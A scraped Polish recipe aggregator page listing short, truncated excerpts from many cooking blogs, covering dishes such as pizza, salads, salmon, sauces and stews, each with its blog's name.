wyrośnie 2. Do miski wsypać mąkę dodać oliwę sól przyprawę.Wlać wyrośnięty zaczyn mieszać łyżką,dolewając partiami wody i wyrobić elastyczne ciasto.Ciasto można od razu dać na blachę,posmarować sosem i dodać swoje ulubione dodatki i upiec smaczną pizzę

W królestwie smaków Beaty
Zgrzewana kanapka z bresaolą 136

bresaolę. Nie codziennie udaje mi się ją trafić w sklepie, ale może to i dobrze, bo jeszcze mi się nie znudziła ;) Wyjątkowo smakuje mi w zgrzewanych kanapkach z różnymi sosami i dodatkami. Dziś prosto i z małą ilością składników

Milion Smaków
Szaszłyki z łososiem 247

Składniki 300 g fileta z łososia 1/2 średniej cukinii 3 krążki ananasa z zalewy 1/2 czerwonej papryki sól, pieprz przyprawa do ryb oliwa z oliwek sos rybny Sposób przygotowania Rybę … Czytaj dalej Szaszłyki z łososiem

czarrna od kuchni
Deser chia z sorbetem malinowym + mini relacja z warsztatów 213

miałam przyjemność poprowadzić warsztaty kulinarne w Domu Światła Tęczy. Panie, które w nich uczestniczyły, były bardzo miłymi i wyrozumiałymi osobami. Zaprezentowałam przepis na  zupę tajską , groszkowe falafele w sosie pomidorowym,  szpinakowe kotlety z serem mozzarella , deser chia, gulasz warzywny oraz sałatkę z rukoli i gruszki, którą wkrótce pokażę wam na blogu. Warsztaty nie tylko dla Pań były pewnego

healthy dreams
Placuszki z cukini z parmezanem i Remuladą duńską. 197

nadmiaru tłuszczu na papierowym ręczniczku.Przypominam że placki z cukini smażymy zaraz po przygotowani ponieważ gdy długo postoją utworzy się więcej soku i ciasto się rozrzedzi. Podajemy z dowolnym sosem, śmietaną lub Remulada duńską. Smacznego

Sama słodycz i szczypta chili
Perliczka pieczona w garnku rzymskim 227

naczynia żaroodpornego podlewamy ok pół szkl wody, dokładamy pokrojone na kawałki marchewki i jabłko. Wstawiamy do piekarnika i pieczemy godzinę w temp 200 st . pod koniec odkrywamy, polewamy wytopionym sosem i włączamy termoobieg na ok 10 min by nasza perliczka ładnie się przyrumieniła. Podajemy z pieczonymi ziemniaczkami i sałatami

Gotowanie jest łatwe
Gremolata. Włoska posypka do mięs i warzyw 213

łatwa do zrobienia a doskonale podbija smak potraw nadając im niezwykłego aromatu. Gremolata to niby taka zwykła posypka a jeśli ją zblendować i połączyć z odrobiną oliwy to gęsty sos przyprawowy. Przyznam, że ja zdecydowanie wolę wersję do posypania, bez oliwy. Ale tak naprawdę nie ma większego znaczenia w jakiej wersji ją zrobicie - najważniejszy jest jej aromat i smak

Smaczna Pyza
TOST Z KWIATAMI CUKINII NA SZAFRANOWYM SOSIE 212

TOST Z KWIATAMI CUKINII będzie doskonałą i imponującą przystawką na... Artykuł TOST Z KWIATAMI CUKINII NA SZAFRANOWYM SOSIE pochodzi z serwisu CookMagazine

COOKMAGAZINE
Łosoś z sosem jajecznym i szparagami 210

przewróć z powrotem na skórę i przytrzymaj kolejne 3-4 minuty pod przykryciem, np pod folią aluminiową. Szparagi odcedź z wody, posyp serem parmezan szpice, obok ułóż łososia i sos jajeczny posypany szczypiorkiem. SMACZNEGO. CMOK

Pasje Jolki
Pita 192

dwutlenek węgla i parę wodną i tak następuje rozdzielenie górnej warstwy od dolnej i powstaje charakterystyczna chlebowa kieszonka. Tradycyjnie pita zastępuje biesiadnikom sztućce i naczynia. Placki służą do nabierania sosów, dipów, past (np hummusu), świeżych ziół, warzyw, mięs i ryb. W chlebki,  niczym w placki tortilli, zawija się różne składniki lub wkłada do wnętrza kieszonek.W krajach arabskich prawie każde

Smakowity Blog Kulinarny
Surówka z młodej kapusty i buraka 262

główkę młodej kapusty i soczystego buraka i przekonajcie się sami, bo to połączenie idealne. :) Składniki: - 1 główka poszatkowanej młodej kapusty - 1 duży burak starty na tarce (lub 2 małe) sos: - 3 łyżki oliwy z oliwek - 1 łyżka syropu słodzącego (np, z agawy) - 1 łyżka musztardy miodowej (lub innej łagodnej) - 1 łyżeczka soli morskiej Mieszamy i jemy :) ---------- Zapraszam też po przepisy

Smakuje zdrowo
Grecka pizza. 186

wszystko to doprawione czosnkiem, smażoną cebulą, porem i miętą. Choć takie połączenie może się wydawać kontrowersyjne, zaręczam, że mięta nadaje całości wyjątkowości i orzeźwienia. Pizzę podałam oczywiście z domowym sosem czosnkowym (bardzo lubimy czosnek :D). Pizza zniknęła w mgnieniu oka, co potwierdza, że świetnie smakuje! Bardzo polecam! Składniki na grecką pizzę: CIASTO: 250 g mąki pszennej 40 ml ciepłej wody

Rozpustne gotowanie
Naleśniki z mąki jaglanej 176

nią sięgnąć nie tylko ze względów zdrowotnych, ale również w celu wypróbowania nowych produktów w naszej diecie. Ja znowu zaserwowałem naleśniki na wytrawnie z kotletami sojowymi, mieszanką chińską i sosem. Bez kombinowania, na szybko. Jadłem je również na słodko z tahini, powidłami i bananem. Każda wersja ma swój urok, a naleśniki z mąki jaglanej sprawdzają się tu i tu. Składniki

Blendman
SCHAB W SOSIE ŚMIETANOWO PIECZARKOWYM 192

też pokrojone w plastry pieczarki. Oprószamy solą i pieprzem. Kiedy pieczarki się zrumienią wlewamy ok pól szklanki bulionu oraz śmietanę. Na patelni układamy kotlety, podduszamy razem aż do zgęstnienia sosu

Z Majeczką w kuchni
Płatki drożdżowe 234

skórę, włosy i paznokcie. Zawierają 16 różnych aminokwasów, mnóstwo witamin z grupy B (w tym ważną dla wegan witaminę B12) oraz cynk, fosfor i chrom. Dodawałam je do sosów (np. pieczarkowego), zup i sałatek lub jadłam solo. Można nimi również urozmaicić musli i pasztety. Nie zmieniają smaku potraw (są delikatnie słone i słodkawe, bardzo smaczne).   Produkt może zawierać alergeny

Qlinarnie i Qlinarnie
Purée ziemniaczane 197

Klasyczne purée ziemniaczane to dodatek do wielu dań, zarówno mięsnych, rybnych jak i np. duszonych warzyw. Jego kremowa konsystencja doskonale pasuje do mięs duszonych w sosie czy pieczeni. Dobrze zrobione puree ziemniaczane to nie są zwykłe tłuczone ziemniaki. Purée najczęściej robi się z ziemniaków, ale inne warzywa też doskonale się do tego nadają. Można zrobić puree z marchewki , selera, bobu

Smaczna Pyza
domowa maga – pasta lubczykowa 203

Kroimy na drobne kawałki, wkładamy do naczynia, wsypujemy sól, olej i blendujemy na jednolitą masę. Przekładamy do wyprażonych słoiczków, zakręcamy i przechowujemy w lodówce. Gotową pastą przyprawiamy np. zupy, sosy

Domowy Smak Jedzenia
Wegańska sałatka ziemniaczana 200

ogórki. W osobnej miseczce połącz ze sobą wszystkie składniki dressingu i przelej go do miski z warzywami. Wszystkie składniki sałatki delikatnie połącz ze sobą, aby warzywa dokładnie pokryły się sosem. Przełóż na talerze i podawaj posypane uprażonymi pestkami dyni. 2 porcje

Roślinna - blog wegański
SAŁATKA Z TRUSKAWKAMI I MOZZARELLĄ 225

szypułki, ,przekroić na połówki. Umytą sałatę porwać na kawałki. Mozzarellę pokroić w małe części. Składniki na dressing wymieszać do uzyskania aksamitnej konsystencji. Wszystkie składniki delikatnie wymieszać,dodać pomidorki, polać sosem. Można jeść z grzankami lub pieczywem. Miłego wieczoru

pieprzny smaczek
Łosoś wędzony z jogurtem, koprem oraz odrobiną chrzanu 207

morskiej 1 szczypta pieprzu białego  Wykonanie:  Do jogurtu dodać sól, pieprz, posiekany koper, chrzan, wymieszać całość. Plastry łososia ułożyć na talerzach, przyozdobić świeżym koprem. Podawać z przygotowanym sosem jogurtowo - chrzanowym.   Smacznego

Wino Francja Kuchnia
Przepis na zapiekane warzywa, czyli szybki i zdrowy obiad 176

czasie należy na chwilę wyjąć je z pieca, położyć na nich ser, a następnie piec przez kolejne 10 minut. Doprawiamy danie do smaku. Znakomitym dodatkiem będzie domowy sos czosnkowy . Danie, w którym główną rolę odgrywają zapiekane warzywa oraz ser feta, z pewnością szybko przypadnie do gustu naszym bliskim. Dzięki temu przepisy na zdrowe potrawy częściej będą gościć w naszych domach

Codogara
Pasta jajeczna z botwinką 199

mnie podejść w trakcie konsumpcji, bo warczałam na niego wrogo, chcąc odstraszyć potencjalnego uzurpatora jajeczno-botwinkowej pyszności. Przepis zmodyfikowałam jedynie pobieżnie, wykorzystując tu zamiast majonezu - warzywny, lekko kwaskowaty, sos Remulada duńska od FOLWARK . Składniki na 1 małą miseczkę: 3 jaja ugotowane na twardo 1/2 małego ząbka czosnku - zrezygnowałam, nie cierpię świeżego czosnku   garść liści botwiny 1 łyżeczka soku

Grunt to przepis!
Crumble z jabłkami i rabarbarem 154

ucieramy kruszonkę. Jabłka i rabarbar posypujemy przygotowaną kruszonką. Pieczemy w piekarniku w temperaturze 190 stopni C przez około 40 minut. Crumble podajemy ciepłe z lodami waniliowymi, bitą śmietaną, sosem waniliowym lub budyniem. * Jak przygotować cukier waniliowy? Dobrej jakości cukier waniliowy można bez problemu przygotować domowym sposobem. Jeśli raz spróbujecie, nie sięgniecie już po cukier z torebki (który najczęściej nie jest

Smakowity Blog Kulinarny
Tarta ze szparagami i serem pleśniowym 175

sól, pieprz Spód do tarty przygotowujemy zgodnie z przepisem, studzimy. Śmietankę mieszamy z jajkiem, doprawiamy solą i pieprzem, wlewamy na upieczony spód. Ser pleśniowy kroimy w plasterki, układamy na sosie. Szparagi dokładnie myjemy, odcinamy końcówki, układamy w małych odstępach na tarcie. Pomidorki przekrawamy na pół, układamy pomiędzy szparagami. Tartę wkładamy do nagrzanego do 200*C piekarnika, pieczemy przez 20 minut

Gotowanie i blogowanie
TABBOULEH Z QUINOA I TRUSKAWKAMI 202

delikatnie wymieszaj. Podawaj sałatkę dobrze schłodzoną. *Około 3 razy objętości wody, dokładny czas gotowania i ilość wody sprawdź na opakowaniu. ** Jeśli wolisz bardziej pikantne potrawy, możesz dodać kilka kropli sosu chili lub szczyptę mielonej papryczki chili.     www.alma24.pl

Smaki Francji współczesna kuchnia francuska
Babka z mąki z ciecierzycy 168

kupimy ją pod nazwą Papad), ale przez Grecję zawędrowała i do Europy. Może służyć jako dodatek do zwykłej mąki w wypiekach. Nadaje się też do zagęszczania zup i sosów, zwłaszcza tych wegetariańskich, wzbogacając je znacząco o białko. Składniki: 25 dag mąki krupczatki 25 dag mąki z ciecierzycy 1 ½ szklanki cukru 2 jajka 5 łyżek oleju 2 łyżeczki sody oczyszczonej

Tradycyjna Kuchnia
PIZZA Z CUKINIĄ I KREMOWYM SOSEM CZOSNKOWYM 294

PIZZA Z CUKINIĄ z dodatkiem sera feta lub bryndzy. Do... Artykuł PIZZA Z CUKINIĄ I KREMOWYM SOSEM CZOSNKOWYM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Tarta jabłkowa 153

tarta łączy w sobie kruche, cynamonowe ciasto z kwaskowatymi jabłkami i kremowa masa waniliową. Świetnie smakuje polana odrobiną sosu karmelowego z gałką lodów waniliowych. Składniki: na tortownicę o średnicy 26cm ciasto: 250g mąki 125g masła 60g cukru 1 jajko łyżeczka cynamonu szczypta soli nadzienie: 6-8 kwaśnych jabłek 4 łyżeczki soku z cytryny masa waniliowa: 4 jajka 100g cukru szczypta

Pyry na Gaz
Sałata z pomarańczą 233

Składniki do kupienia w Almie: 200 g roszponki lub dowolnej innej sałaty 1 awokado 1 pomarańcza 2 łyżki czarnych oliwek 2 pomidory sos: 2-3 łyżki oleju sok z 1/2 cytryny 2-3 … Czytaj dalej Sałata z pomarańczą

czarrna od kuchni
Młoda kapusta z woka z makaronem i świeżymi warzywami 191

właśnie do dań z woka. Dodawana jako ostatni składnik staje się lekko miękka, ale nie traci konsystencji. Makaron chow mein sprawia, że danie jest bardziej sycące a dobór odpowiednich sosów nadaje całemu daniu wyjątkowy smak

Milion Smaków
Dieta CTZO, dzień piąty 171

dodatku soli rozpoczynając od wody gorącej. Gotować do uzyskania miękkości, na końcu odcedzić i posypać siekanym koprem. Szparagi na parze- Szparagi gotować w garnku do gotowania na parze. Sos szpinakowy- na patelnię wlać oliwę z oliwek, dodać szpinak, smażyć przez chwilę, przyprawić do smaku ale niezbyt pikantnie. Buraki- ugotować w wodzie, zetrzeć na tarce, przyprawić pieprzem. Ja niestety nie miałam

Kucharzyca
Pieczone kotlety z indyka z cukinią :) 190

sprawdzą się jako białkowy dodatek np. do obiadu z porcją ulubionych warzyw i kaszy. Można je też wykorzystać do przygotowania domowych burgerów, z pełnoziarnistą bułką, świeżymi warzywami i jakimś sosem. Mięso z indyka charakteryzuje się niewielką ilością tłuszczu, a dużą porcją białka. Przygotowane z niego kotlety, z dodatkiem cukinii są niezwykle mięciutkie i soczyste. Sama cukinia urozmaiciła smak kotletów

Zdrowie na języku :P
Grillowane szaszłyki z kurczaka marynowane w Coca-Coli 285

Europy w Piłce Nożnej. Marynata na bazie Coca-Coli dodaje niezwykle miły smak kawałkom kurczaka. Wszyscy pokochają tak przygotowane szaszłyki z kurczaka. Składniki: 2 szklanki Coca-Coli 2 łyżki sosu sojowego 1/2 łyżeczki mielonego czosnku 1/2 łyżki brązowego cukru 1/2 łyżki octu balsamicznego 1 łyżka soku pomarańczowego 6 piersi z kurczaka pokrojonwego w 2 cm kostkę 15-20 szaszłyków bambusowych

naRuszcie
Salatka z mlodej kapusty i selera, z serem plesniowym i granatem 158

białej kapusty sól 2 łodygi selera naciowego 1 mały owoc granatu 1 małe jabłko ze skórką łyżeczka soku z cytryny 50 g sera pleśniowego, z niebieska pleśnią np. Rokpol sos: po łyżeczce musztardy i majonezu  sok z 1/2 cytryny Kapustę drobno szatkujemy. Wkładamy do miski i lekko solimy. Mieszamy i odstawiamy na bok. Łodygi selera myjemy, kroimy w kostkę

Dzieje kuchennej Wiewióry
,Makaron faszerowany pastą z prażonego słonecznika z suszonymi pomidorami’’ 170

wodzie z dodatkiem oliwy. Farszem nadziewamy rurki makaronu. Cebulę kroimy w drobną kostkę, szklimy na oleju. Dodajemy mięso mielone, puszkę pomidorów i przyprawy. Smażymy aż mięso będzie gotowe. Gotowy sos mięsny wykładamy na faszerowany makaron. Smacznego

Podróż w kulinaria
Sałatka ziemniaczana z pomidorami 215

ogórkiem w drobną kosteczkę. Pomidory umyć i przekroić w dużą kostkę, dymkę posiekać, włożyć do miski i delikatnie przemieszać wszystko razem. Jogurt wymieszać z octem winnym, sola i pieprzem, Sosem polać sałatkę i jeszcze raz delikatnie przemieszać

Camilla w kuchni
Karkówka w sosie z suszonych grzybów 171

mięso będzie miękkie. Czym dłużej gotowane mięso tym lepszy uzyskacie smak. Jeśli będzie za rzadkie to można zagęścić mąką rozmieszaną w małej ilości wody i dodanej do gotującego się sosu. Ja zawsze używam garnka elektrycznego do wolnego gotowania. Podawać z ziemniakami lub kaszą. Mięso było pyszne, polecam

Kuchnia Pokoleń
Sałatka z tuńczykiem i wędzonym serem 197

Przepis na szybką i smaczną sałatkę ryżową z tuńczykiem i serem wędzonym. Składniki: woreczek ryżu parboiled puszka tuńczyka w sosie własnym (w kawałkach) puszka kukurydzy por ok 150g wędzonego sera żółtego 3-4 łyżki majonezu sól, pieprz Przygotowanie Ryż gotujemy wg instrukcji na opakowaniu w osolonej wodzie i odstawiamy do wystygnięcia. Por kroimy w półplasterki, zalewamy wrzątkiem i odstawiamy

e-PrzepisyKulinarne
pieczarki panierowane 367

następnie ponownie w jaju a na końcu w bułce tartej. Wkładamy na rozgrzany tłuszcz i smażymy z każdej strony na złoty kolor. Wyciągamy na ręcznik papierowy. Podajemy z ulubionym sosem, chlebem, surówkami

Domowy Smak Jedzenia
Ziemniaki z grilla 172

obowiązkowa na każdym grillu. Proponowana wersja ziemniaków została przeze mnie upieczona na aluminiowej tacce. Ziemniaki z grilla mogą być podane do mięsa lub sałatek. Do ziemniaków można podać także sos lub dip (dip czosnkowy, dip czosnkowy z chilli, majonezowy dip czosnkowy). Z jednego kilograma ziemniaków przygotujecie porcje dla […] The post Ziemniaki z grilla appeared first on Magiczny Garnek

Magiczny Garnek
Młoda kapusta ze skwarkami. 151

już dostępne w sklepach w znośnej cenie, w połączeniu z młodą zasmażaną kapustą - wyśmienity obiad niekoniecznie z kawałkiem mięsa. Ziemniaczki możemy również podać ze skwarkami, bądź jeśli wolimy z sosem. SKŁADNIKI: 2 główki kapusty 0.5 kg. boczku świeżego 0,3 kg. boczku wędzonego 3-4 dojrzałe pomidory 1 średnia cebula 1-2 łyżki octu 1 łyżka cukru lub miodu przyprawy

Kuchnia Beaty
Warsztaty Seko - na fali smaku 179

rolmopsy, moskaliki, koreczki), sałatki, pasty i produkty mrożone. Dominika przygotowała dla nas następujące przepisy: śledzika na grzance z konfiturą cebulowo-imbirową śledzia z selerem w sosie remoluade śledzie w chimichurri sałatkę ze słodkim śledziem w curry zdekonstruowana sałatkę śledziową na pieczonym ziemniaku śledzie w peperonacie z gorącymi ziemniakami gryczane bliny z jabłkiem, jajkiem i śledziem tatara

Kulinarne przygody Gatity
Spaghetti z marchewki i białej rzodkwi 151

będą naszym spaghetti. Dodajemy do warzyw posiekaną natkę pietruszki. Oliwę, sok z cytryny, sól, oraz pieprz mieszamy ze sobą w małej miseczce, do połączenia składników, a następnie polewamy powstałym sosem, warzywne spaghetti. Artykuł Spaghetti z marchewki i białej rzodkwi pochodzi z serwisu NiePieprz

NiePieprz.pl
Sałatka z newellą 129

Samo zdrowie. Z sezonowymi truskawkami, to dopiero rozkosz dla podniebienia. Składniki 2 garście szpinaku baby 200 g świeżych truskawek 100 g newelli 1 łyżeczka marynowanego zielonego pieprzu kiełki brokułu Sos: 70 ml oliwy z karczochów 3 łyżki miodu lipowego 1 łyżka musztardy dijon   Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Szpinak płuczemy i osączamy w wirówce

R'n'G Kitchen
prymkowa zapiekanka z ziemniakami i mięsem mielonym 231

czerwony kolor, więc cały koncentrat dodajemy. 5. Do naczynia żaroodpornego wlewamy masę mięsną. 6. Na mięso wykładamy pokrojone pomidory. 7. A na koniec ziemniaczane puree, które dziobiemy widelcem, by sos z mięsa mógł trochę odparować. 8. Wstawiamy do piekarnika na środkowy poziom. Pieczemy godzinę w temperaturze 180 stopni.  9. I gotowe! Smacznego

dobra gospodyni dom wesołym czyni
Tarta z warzywami 177

folię aluminiową i ja wysypałam fasolę. Ciasto zapiekłam w piekarniku w 180 stopniach 15 minut. Następnie wyjęłam, zdjęłam folię z fasolą. W międzyczasie jak ciasto nam się podpieka przygotowujemy sos i warzywa. Do miseczki wybiłam jajka (roztrzepałam je), dodałam śmietanę i ser, przyprawy - wymieszałam. Warzywa pokroiłam (cukinie i oliwki w plastry, pomidory na pół, suszone na drobniejsze kawałeczki). Na ciasto

kruche babeczki
Kurczak w sosie pomidorowym z oliwkami 230

gorąco :( Nic się robić nie chce, a gotować to już w ogóle :(. Nie wiem jak Wy, ale ja szukam czegoś co można zrobić jak najszybciej. Kurczaka w sosie pomidorowym robiłam pod koniec zeszłego tygodnia. Miałam trochę pomidorów i chciałam je zużyć, więc zrobiłam właśnie tak, a że moje dziecko za wszystkim co pomidorowe przepada, to był bardzo zadowolony :)) Wyszło smacznie

kruche babeczki
Strogonow drobiowy 96177

większa czerwona papryka 1 łyżka słodkiej mielonej papryki 1/2 łyżeczki ostrej mielonej papryki (ja dałam dosłownie ciut ze względu na młodego) 250 ml bulionu drobiowego 250 ml passaty (sosu pomidorowego) 2 łyżki śmietany 30 % sól różowa pieprz masło klarowne do smażenia Ja najpierw przygotowałam sobie bulion. Cebulę pokroiłam w pół krążki. Na patelni rozgrzałam masło i wrzuciłam cebulę. Zeszkloną przełożyłam

kruche babeczki
Kaczka z jabłkami, żurawiną i pomarańczą 217

mniejsze kawałki, usuwamy gniazda. Na rozgrzaną patelnię dajemy miód i wrzucamy jabłka. Chwilę smażymy, jak zrobią się miękkie dodajemy żurawinę, dokładnie mieszamy. Kaczkę po wyjęciu kroimy i podajemy z sosem. U mnie dodatkowo pieczone ziemniaczki

kruche babeczki
Sałatka z tuńczykiem, jajkiem, kukurydzą i brokułem 197

tego co było w domu, bo mnie naszło i tyle ;)) To tak, sałatka była z brokułem, tuńczykiem, kukurydzą i jajkiem :)) Dla mnie mniam :)) Składniki: brokuł 2 puszki tuńczyka w sosie własnym 1 puszka kukurydzy 3 jajka 1 płaska łyżka majonezu 2 łyżki jogurtu naturalnego Brokuła, jajka gotuję. Kukurydzę wysypuję z puszki na sitko, żeby odsączyć. Następnie tak samo robię

kruche babeczki
Polędwiczki wieprzowe w sosie musztardowo - śmietanowym 167

weekend minął ?? Mój trochę zabiegany, bo młody miał urodziny i tak nie było czasu na nic. Na obiad mąż kupił polędwiczki, więc zrobiliśmy je na szybko z sosem musztardowo - śmietanowym i dodaliśmy do tego troszkę miodu. Mięsko było pyszne, jako dodatek kasza owsiana. Fajna, jedliśmy pierwszy raz :) Miłego dnia :)) Składniki: polędwiczka wieprzowa musztarda (u nas miodowa 3 łyżeczki) miód ( jakieś

kruche babeczki
Morszczuk z warzywami i kaszą pęczak 225

garnka do gotowania na parze. Gotuję około 20-25 minut. Kaszę gotuję według przepisu na opakowaniu. Passatę przekładam do rondelka, dodaję świeżą bazylię, doprawiam solą, pieprzem, podgrzewam. Do ciepłego sosu dodaję ugotowany pęczak, mieszam, przekładam na talerz, na wierzch daję rybę i warzywa

kruche babeczki
Filet z indyka w sosie śmietanowym z pomidorkami koktajlowymi i makaronem 190

obie strony, aby równomiernie się nam obsmażyły. Wlewamy śmietankę,dodajemy pokrojone na połówki pomidorki koktajlowe, pokrojone suszone pomidory i gotujemy kilka minut do momentu, aż pomidorki zmiękną, a sos zrobi się bardziej gęsty. Podajemy z makaronem i świeżą bazylią

kruche babeczki
Makaron ryżowy z fenkułem i porem 198

wymieszać i całość dusić pod przykryciem ok. 20 minut. Do octu balsamicznego dodać miód i całość dokładnie wymieszać. Dodać do warzyw na patelni. Podkręcić gaz i zredukować ewentualny nadmiar sosu cały czas mieszając. Zdjąć patelnię z ognia, dodać drobniej pokrojony świeży tymianek. Całość wymieszać. Makaron ryżowy ugotować we wrzącej wodzie z dodatkiem łyżeczki soli i łyżeczki kurkumy, zgodnie z przepisem

gutfut
Dziki łosoś z salsą z mango 213

żaden! Marynata do łososia, składniki: 3 łyżki dobrej jakości oleju (od roku używam nierafinowanego oleju rzepakowego, tłoczonego przez polską firmę, której produktów nie uraczy się w marketach*) 1 łyżka sosu sojowego 1 łyżka miodu 1 łyżka drobno posiekanego świeżego koperku 1 łyżeczka drobno posiekanych, świeżych liści tymianku szczypta soli szczypta pieprzy pomarańczowego (zamiennie z cytrynowym) Wykonanie: Wszystkie składniki dokładnie wymieszać

gutfut
Sałatka z tuńczyka z grillowaną papryką. 356

opakowaniu, odcedzić i ostudzić. Paprykę upiec na grillu (lub zapiec w piekarniku), obrać ze skórki, pokroić w paski. Oliwki przekroić na pół. Pomidory pokroić w paski. Tuńczyka odcedzić z sosu. Wszystkie składniki wymieszać ze sobą. Doprawić pieprzem, w razie potrzeby dodać odrobinę oliwy z oliwek i/lub soli. Podawać ze szklanką zimnego piwa. ps. jeśli nie posiadasz ciecierzycy lub chwilowo

Ale Proste
Szaszłyki z młodymi ziemniakami i boczkiem oraz warzywami + film 199

zostawiamy w całości, po czym owijamy je plastrami boczku. Tak przygotowane ziemniaki nabijamy na patyczki do szaszłyków na przemian z papryką, cebulą i pieczarkami. Gotowe szaszłyki smarujemy dość obficie sosem ketchupowo- ziołowym i układamy na tackach do grillowania. Szaszłyki pieczemy na dobrze rozgrzanym palenisku około 20 minut, często odwracając.   Artykuł Szaszłyki z młodymi ziemniakami i boczkiem oraz warzywami + film

Smakowite Dania
Ala Carbonara na ryżu Jaśminowym 217

Ryż Jaśminowy- 200gram ser parmezan- 50 gram boczek- 200 gram cebula- 50 gram czosnek- 20 gram żółtka- 2 sztuki jajka- 2 sztuki koperek- pół pęczka  śmietana 30% do sosów- szklanka 250ml  masło- 20 gram         Sposób przygotowania;  Gotujemy wodę, obieramy czosnek, cebulę, kroimy boczek w paseczki, czosnek drobno siekamy i cebulę

pichciszto
Pstrąg łososiowy z salsą rabarbarową i białymi szparagami 180

daniu wykorzystałam go do przygotowania salsy. Połączyłam go ze świeżym ogórkiem, miętą, czerwoną cebulą i tłoczonym na zimno olejem z pestek dyni. W efekcie uzyskałam pyszny, orzeźwiający sos, który idealnie pasował zarówno do delikatnych białych szparagów jak równie delikatnego mięsa pstrąga.” Czytaj więcej

Wiem co jem
Pulpeciki z ciecierzycy 308

smak możemy zmieniać poprzez dodawanie różnych ziół / przypraw. Nadają się do jedzenia na ciepło jak i na zimno więc warto je zapakować do pracy. Świetnie smakują podane np. z sosem pomidorowym. SKŁADNIKI / około 12 pulpetów : 400 g ugotowanej ciecierzycy – można wykorzystać ciecierzycę z puszki. 1 cebula – około 100 g 2 łyżki siekanej natki pietruszki 1 łyżeczka pieprzu

Mohiella
Gołąbki na parze z kaszą jaglaną i soczewicą 345

parze wyłożonym liściem kapusty. Całość gotujemy na parze około 1 godziny* – sprawdzając czy liście są już wystarczająco miękkie. *Podany czas gotowania przy wykorzystaniu młodej kapusty. * Najlepiej podawać z sosem pomidorowym lub grzybowym

Mohiella
Domowy hamburger zbezglutenową ciabattą Incola. 203

ączamy z nadmiaru tłuszczu na papierowym ręczniczku. Bułkę przekrawamy na pół, układamy kotleta, plasterek pomidora, rzodkiewkę, oprószamy solą lub pieprzem. Przykrywamy druga połową bułki. Do hamburgera można dodać dowolny sos, lub ketchup , co kto lubi. Pysznie i proste w przygotowaniu. Smacznego

Sama słodycz i szczypta chili
Wytrawne muffinki z bezglutenowej mąki jaglanej Incola. 208

temperaturze 175/180 stopni około 15/ 20 minut do suchego patyczka. ( Gdy do muffinki włożycie patyczek do szaszłyka i będzie suchy to znaczy że muffinki są upieczone. Muffinki podałam z sosem czosnkowym. Smacznego

Sama słodycz i szczypta chili
Orientalny gulasz z ryżem 294

Aromatyczny gulasz z orientalnym smaczkiem Składniki biodrówka 1/2 kg pieczarki 30 dkg papryka czerwona 1/2 szt grzyby mun 1 garść cebula 1 szt czosnek 3 ząbki sos chili-czosnkowy 1 łyżka … Czytaj dalej Orientalny gulasz z ryżem

czarrna od kuchni
Gulasz drobiowy. 176

mące i podsmażamy na maśle. Następnie przekładamy do garnka, dodajemy warzywa, zalewamy wodą i doprawiamy. Gotujemy około 30 minut. Po tym czasie dodajemy koncentrat pomidorowy i gotujemy jeszcze chwilkę. Sos zagęszczamy 1/4 szklanki śmietanki 18% z 2 łyżeczkami mąki wymieszaną dokładnie z odrobiną wywaru z garnka. Podajemy z kaszą jaglaną, ziemniakami, lub makaronem. Smacznego :) *uprzedzając komentarze o warzywach na patelnię

Moje-pitraszenie
Dietetyczne frytki z marchewki i pietruszki z czosnkowym dipem 196

Pieczemy przez około 30 minut. W tym czasie przygotowujemy dip: jogurt mieszamy z przeciśniętym przez praskę czosnkiem, doprawiamy pieprzem i ulubionymi ziołami.  Pyszne frytki zajadamy maczając w czosnkowym sosie :) Smacznego! I   100 g frytek - pół na pół marchewka z pietruszką - to jedynie 60 kcal :) - białko - 1,8 g - tłuszcz - 3,4 g - węglowodany - 9,6 g - błonnik

Moje Kuchenne Rewelacje
Koktajl truskawkowy 145

otwarty! Dzisiaj klasyk, którego na blogu nie może zabraknąć! Z truskawek można przygotować wiele różnych przepisów. Poza koktajlami i słodkimi wypiekami świetnie sprawdzają się w wytrawnych połączeniach ze szpinakiem, sosem balsamicznym i serem pleśniowym. Knedle z truskawkami to chyba obowiązkowe danie w każdym domu!  Koktajl truskawkowy Składniki: 400 g jogurtu naturalnego 500 g świeżych truskawek cukier do smaku Przygotowanie

Moja smaczna kuchnia
Kruche ciasto z farszem cebulowo-porowym i salami 204

stopniach. (Powinno być zarumienione.) Pod koniec pieczenia wierzch obficie posypać startym serem i zapiekać do momentu, aż ser zostanie roztopiony. Ciasto można podawać z ulubionym sosem

Di gotuje
Ostre kremowe curry z batatami i kurczakiem 233

tymianek i zalewamy bulionem. Gotujemy 10 minut kolejne. Zalewamy mleczkiem kokosowym, zmniejszamy ogień i gotujemy 10 minut - kontrolowac czy bataty są miękkie.  Dodać passatę pomidorową i gotować aż sos zgęstnieje.  Gotowe, Podajemy z ryżem. Można posypać natką i kolendrą przy podaniu (jeśli lubimy

Snejkusiowe Przepisy
Pieczone pomidory z musztardą francuską w czerwonym winie 251

pyszne pomidory są najlepsze, bo zupełnie inaczej smakują :) Uwielbiam piec pomidory, bo robi się to szybko, a danie jest bardzo podzielne, do tego pieczone pomidory są idealną bazą pod sosy, czy zupy. Kolejna patera pomidorów upieczona, A jest już pomysł na następną, ciekawa jestem jak u Was? :) U mnie bardzo wiosennie <3 Ściskam! Składniki: (na 12 porcji) 15 łyżeczek

KreatywnePiny
Musaka po mojemu 198

patelni rozpuścic masło, dodać mąkę i dokładnie wymieszac aby nie było grudek. Następnie wlać. Doprawić do smaku solą i pieprzem. Gotować aż masa zgęstnieje cały czas mieszając. Gotowym sosem polać zawartośc naczynia. Na wierzch posypać odobiną mielonej słodkiej papryki. Naczynie wstawić do piekarnika nagrzanego na 180 C i zapiekać aż wierzch się zarumieni ok 20-30 minut, funkcja termoobieg

Monia miesza i gotuje
Kociołek łakomczucha 325

mnie – wok) trochę oliwy, po czym wrzucamy cebulę z czosnkiem i czekamy aż się zeszkli. Następnie dodajemy pomidory i przez jakiś czas podsmażamy całość, często mieszając. Do otrzymanego sosu dodajemy po paru minutach kiełbasę oraz groszek. Podsmażamy parę minut, po czym dodajemy ryż. Doprawiamy danie, cały czas mieszając. Gdy danie jest gotowe, nakładamy je na talerze, a pozostałą część zostawiamy

Proste-przepisy.pl
Sałatka ryżowa z tuńczykiem, groszkiem, kiszonym ogórkiem i szczypiorkiem 242

